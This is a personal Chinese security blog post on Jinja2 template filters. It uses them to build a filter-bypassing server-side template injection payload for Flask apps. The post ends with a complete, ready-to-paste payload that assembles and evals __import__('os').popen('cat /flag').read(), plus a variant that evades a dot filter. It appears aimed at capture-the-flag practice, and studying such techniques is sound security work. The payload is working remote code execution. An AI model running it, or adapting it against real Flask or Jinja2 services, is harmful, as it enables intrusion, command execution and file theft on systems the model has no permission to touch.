jinjia2 过滤器

Sl0th Lv4

jinjia2 过滤器

奇安信攻防社区-flask SSTI学习与总结 (butian.net)

flask 过滤器

flask过滤器和其它语言的过滤器作用几乎一致,对数据进行过滤

使用

1
2
3
变量|过滤器
variable|filter(args)
variable|filter //如果过滤器没有参数可以不加括号

常用过滤器

**int()**:将值转换为int类型;

**float()**:将值转换为float类型;

**lower()**:将字符串转换为小写;

**upper()**:将字符串转换为大写;

min():求序列中最小值

**title()**:把值中的每个单词的首字母都转成大写;

**capitalize()**:把变量值的首字母转成大写,其余字母转小写;

**trim()**:截取字符串前面和后面的空白字符;

**wordcount()**:计算一个长字符串中单词的个数;

**reverse()**:字符串反转;

**replace(value,old,new)**: 替换将old替换为new的字符串;

**truncate(value,length=255,killwords=False)**:截取length长度的字符串;

**striptags()**:删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;

**escape()e**:转义字符,会将<>等符号转义成HTML中的符号。显例:content|escapecontent|e

**safe()**: 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'hello'|safe}}

**list()**:将变量列成列表;

**string()**:将变量转换成字符串;

**join()**:将一个序列中的参数值拼接成字符串。示例看上面payload

**abs()**:返回一个数值的绝对值;

**first()**:返回一个序列的第一个元素;

**last()**:返回一个序列的最后一个元素;

**format(value,arags,\*kwargs)**:格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!

**length()**:返回一个序列或者字典的长度;

**sum()**:返回列表内数值的和;

**sort()**:返回排序后的列表;

**default(value,default_value,boolean=false)**:如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')—-如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。

基本思路

获取入口点

1
2
3
4
{% set org = ({ }|select()|string()) %}{{org}} 
{% set org = (self|string()) %}{{org}}
{% set org = self|string|urlencode %}{{org}}
{% set org = (app.__doc__|string) %}{{org}}

这些基本都能得到一长串字符串,里面包含字母、尖号、下划线、数字等,可以通过增加下标来获取

1
2
3
4
{% set org = ({ }|select()|string()) %}{{org}} 
# <generator object select_or_reject at 0x1047f7ac0>
{% set org = ({ }|select()|string()) %}{{org[1]}}
# g

这个对应道字符串含有百分号,这样可以通过url编码得到所有字符

1
2
{% set org = self|string|urlencode %}{{org}}
# %3CTemplateReference%20None%3E

这个包含了更多的字符种类

1
2
{% set org = (app.__doc__|string) %}{{org}}
# The default undefined type. This undefined type can be printed and iterated over, but every other access will raise an :exc:`UndefinedError`: >>> foo = Undefined(name='foo') >>> str(foo) '' >>> not foo True >>> foo + 42 Traceback (most recent call last): ... jinja2.exceptions.UndefinedError: 'foo' is undefined

对于获取数字,除了上面出现的那几种外我们还可以有以下几种方法:

1
2
{% set num = (self|int) %}{{num}}    # 0, 通过int过滤器获取数字
{% set num = (self|string|length) %}{{num}} # 24, 通过length过滤器获取数字

获取特定字符

获取.

1
{% set point = self|float|string|min %}    # 通过float过滤器获取点 .

下划线

1
2
{% set xhx = (({ }|select|string|list).pop(24)|string) %}{{xhx}}  
{% set xhx={ }|select|string %}{{xhx[24]}}

空格

1
2
{% set space = (({ }|select|string|list).pop(10)|string) %}
{% set space = { }|select|string %}{{space[10]}}

左括号(

1
2
{% set yin = ((app.__doc__|string|list).pop(195)|string) %}
{% set yin = app.__doc__|string %}{{yin[195]}}

右括号)

1
2
{% set yin = ((app.__doc__|string|list).pop(199)|string) %}
{% set yin = app.__doc__|string %}{{yin[199]}}

单引号’

1
2
{% set yin = ((app.__doc__|string|list).pop(181)|string) %}
{% set yin = app.__doc__|string %}{{yin[181]}}

%c的利用

常见数字

1
2
3
4
5
6
{% set zero = (({ }|select|string|list).pop(38)|int) %}    # 0
{% set one = (zero**zero)|int %} # 1
{% set two = (zero-one-one)|abs %} # 2
{% set four = (two*two)|int %} # 4
{% set five = (two*two*two)-one-one-one %} # 5
{% set seven = (zero-one-one-five)|abs %} # 7

字符c

1
{% set c = dict(c=aa)|reverse|first %}

dict() 函数用于创建一个字典,这里dict(c=aa)是 {‘c’: Undefined}

百分号

1
{% set bfh = self|string|urlencode|first %} 

%c

1
{% set bfhc=bfh~c %} 

这里构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接

使用%c构造斜杠 /

1
{% set slas = bfhc%((four~seven)|int) %} 

常见字段

builtins

1
{% set but = dict(buil=aa,tins=dd)|join %}  

import

1
{% set imp = dict(imp=aa,ort=dd)|join %} 

popen

1
{% set pon = dict(po=aa,pen=dd)|join %} 

os

1
{% set os = dict(o=aa,s=dd)|join %} 

cat

1
{% set ca = dict(ca=aa,t=dd)|join %}

flag

1
{% set flg = dict(fl=aa,ag=dd)|join %}

eval

1
{% set ev = dict(ev=aa,al=dd)|join %} 

read

1
{% set red = dict(re=aa,ad=dd)|join %}  

__builtins__

1
{% set bul = xhx*2~but~xhx*2 %}

将上面构造的字符或字符串拼接起来构造出 __import__('os').popen('cat /flag').read()

1
{% set pld = xhx*2~imp~xhx*2~left~yin~os~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}

pld放入SSTI万能payload

1
2
3
4
5
6
7
8
9
{% for f,v in whoami.__init__.__globals__.items() %}    # globals
{% if f == bul %}
{% for a,b in v.items() %} # builtins
{% if a == ev %} # eval
{{b(pld)}} # eval("__import__('os').popen('cat /flag').read()")
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

过滤.的版本

1
2
3
4
5
6
7
8
9
10
{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}
{% for f,v in (self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}
{% if f == bul %}
{% for a,b in (v|attr(itm))() %}
{% if a == ev %}
{%print(b(pld))%}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

完整payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
{% set zero = (self|int) %}
{% set one = (zero**zero)|int %}
{% set two = (zero-one-one)|abs %}
{% set four = (two*two)|int %}
{% set five = (two*two*two)-one-one-one %}
{% set three = five-one-one %}
{% set nine = (two*two*two*two-five-one-one) %}
{% set seven = (zero-one-one-five)|abs %}
{% set space = self|string|min %}
{% set point = self|float|string|min %}
{% set c = dict(c=aa)|reverse|first %}
{% set bfh = self|string|urlencode|first %}
{% set bfhc = bfh~c %}
{% set slas = bfhc%((four~seven)|int) %}
{% set yin = bfhc%((three~nine)|int) %}
{% set xhx = bfhc%((nine~five)|int) %}
{% set right = bfhc%((four~one)|int) %}
{% set left = bfhc%((four~zero)|int) %}
{% set but = dict(buil=aa,tins=dd)|join %}
{% set imp = dict(imp=aa,ort=dd)|join %}
{% set pon = dict(po=aa,pen=dd)|join %}
{% set so = dict(o=aa,s=dd)|join %}
{% set ca = dict(ca=aa,t=dd)|join %}
{% set flg = dict(fl=aa,ag=dd)|join %}
{% set ev = dict(ev=aa,al=dd)|join %}
{% set red = dict(re=aa,ad=dd)|join %}
{% set sl = dict(l=aa,s=dd)|join %}
{% set bul = xhx~xhx~but~xhx~xhx %}
{% set ini = dict(ini=aa,t=bb)|join %}
{% set glo = dict(glo=aa,bals=bb)|join %}
{% set itm = dict(ite=aa,ms=bb)|join %}
{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}
{% for f,v in (self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}
{% if f == bul %}
{% for a,b in (v|attr(itm))() %}
{% if a == ev %}
{%print(b(pld))%}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
  • 标题: jinjia2 过滤器
  • 作者: Sl0th
  • 创建于 : 2023-01-16 22:57:46
  • 更新于 : 2024-07-03 22:58:38
  • 链接: http://sl0th.top/2023/01/16/jinjia2-过滤器/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论